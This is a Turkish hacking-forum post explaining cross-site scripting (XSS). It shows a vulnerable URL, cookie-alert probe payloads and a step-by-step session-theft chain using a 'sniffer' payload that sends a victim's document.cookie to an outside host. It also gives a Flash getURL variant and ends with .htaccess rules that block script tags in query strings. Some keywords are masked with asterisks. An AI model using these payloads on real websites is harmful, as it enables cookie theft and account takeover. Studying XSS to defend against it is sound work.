Tekil Mesaj gösterimi

XSS (Cross Site Scripting)

Justice4ewer
Justice4ewer - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2010
Nereden:
Ankara
Yaş:
27
Mesajlar:
6.346
Konular:
4064
Teşekkür (Etti):
Teşekkür (Aldı):
Ticaret:
(0) %
1
985
04-06-2011 11:18
#1
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)

Cross Site Scripting Nedir?

Kullanıcı bilgilerini ele geçirmek ve kullanıcı düzeneğini bozmak amacıyla “Attacker” tarafından HTML kodlarıyla tarayıcı üzerinden güvenlik zafiyeti oluşturmaktadır. “XSS” 2002 Yılında Trust and Barney dökümanında ilk defa dile getirilmiştir.

Açık ve Kullanım?

Cross Site Scripting genel anlamda kullanıcı bilgilerine ulaşma amacı sağladığından ilk oluşum aşamasından sonra değişik teorilere ve geniş bir alana yayılmıştır. İstemci tarafına yollanan ve açıkların tüzelliğini kullanmak amacıyla oluşturulan kodlamalar “Mail Hacking, Web Hacking” alanlarına geniş manada yayılmış düzeneği bozma haline gelmiştir.

Attacker’ler bunu fırsat bilerek kendi düzeneklerini kurup kullanıcı bilgilerine ulaşmak için “Sniffer” hazırlamaya başlamış ve kullanımı dahada kolaylaştırma yoluna gitmişlerdir.


Hata:

http://www.site.com/cw.php?isim=bugres

URL değişkeninde form Local sayfasına hiçbir etki bırakmadan yazdırılıyorsa açık var demektir.

http://www.site.com/cw.php?isim=<******>alert(********.cookie)</******>


Attacker bu kodlamalar üzerinden Javascript kodları çalıştırabilir kullanıcıları “Cookie” bilgilerini elde edebilir.Açığın oluştuğu bölümler genellikle ****** içerisinde “Post” ve “Get”
metotları bölümündedir.”isim?=” gibi arama bölümlerine XSS kodlarını enjekte ederek deneyebilirsiniz.

Oluşum:


- XSS Tabanlı sniffer hazırlanır.
- Hazırlanan Sniffer üzerinden bilgi çekmek amaçlı link dağıtımı
- Kullanıcıya ulaştırma ve “Cookie” Bilgisini elde etmek
- Alınan bilgiyle giriş.
- Hacking.


Örnek Kodlar:

Javascript düzeneği ile bulunduğundan dolayı belirli javascript kodlarını kullanabiliriz:

“><******>alert</******> “><******>alert(“Bug Researchers”)</******> “><******>alert(********.cookie)</******> (Browser XSS) javascript:alert(********.cookie);
Attacker Enjekte:

Saldırgan XSS hatalarında genelde kullanıcının dikkatini çekmek amaçlı “Sosyal Mühendislik” tabirli linkler kullanır.Kullanılan linklerde XSS kodlarının bazı enjekte şekilleri şunlardır:

-Sniffer

javascript:********.cookie+=";<******>********.*** *****="http://site.com/s.php?"+********.cookie</******>";

- Flash

getURL()

XSS Saldırılarına kodlamalar içinde veya link üzerinde HEX’lenmiş biçimde de karşılaşabilirsiniz.Kullanılan kodları saldırgan HEX Editör ile Kriptolayarak gizleyebilir.

Browser XSS:

Browser XSS ****** üzerinden bilgi alma amaçlı değildir. Attacker’ler tarafından pek yaygın değildir çünkü kullanım esnası biraz farklıdır.

Browser üzerinden bulunan “URL’yi” silerek “javascirpt:alert(********.cookie);” yazdığımızda o anki Web üzerinde bulunan sitenin kullanıcı bilgilerini Alert (Uyarı) mesaj olarak alabilirsiniz.Kodlama alanında Sniffer oluşturulurken URL Sıfırlama mantığı yapılamadığından yaygın değildir ve kullanımı tabi değildir.

Yalnız getURL() Flash gibi bir düzenekle bunu gerçekleştirmek mantıklı olabilir. Örneğin:

getURL("javascript:alert(********.cookie)")

Flash içerisinde URL çağırma ile aynı URL üzerinden sıfırlama yaparak ulaşılabilir şuan için aklıma gelen en büyük tehlikedir. Çünkü Browser XSS ****** hatasından kaynaklanmamakta Browser Javascript özelliğinden faydalanmaktadır.

XSS Korunma:

Server üzerinden REQUEST Metodu HTML Purifer gibi olan “PHPIDS” “.htaccess” ile korunma
“.htaccess” ile Korunma Örnek:
1. RewriteEngine On
2. RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
3. RewriteCond %{QUERY_STRING} (\<|%3C).*******.*(\>|%3E) [NC,OR]
4. RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
5. RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
6. RewriteRule ^(.*)$ index.php [F,L]
Bu şekilde XSS Saldırısı olan bölümlere Hata Mesajı vererek engelleyecektir.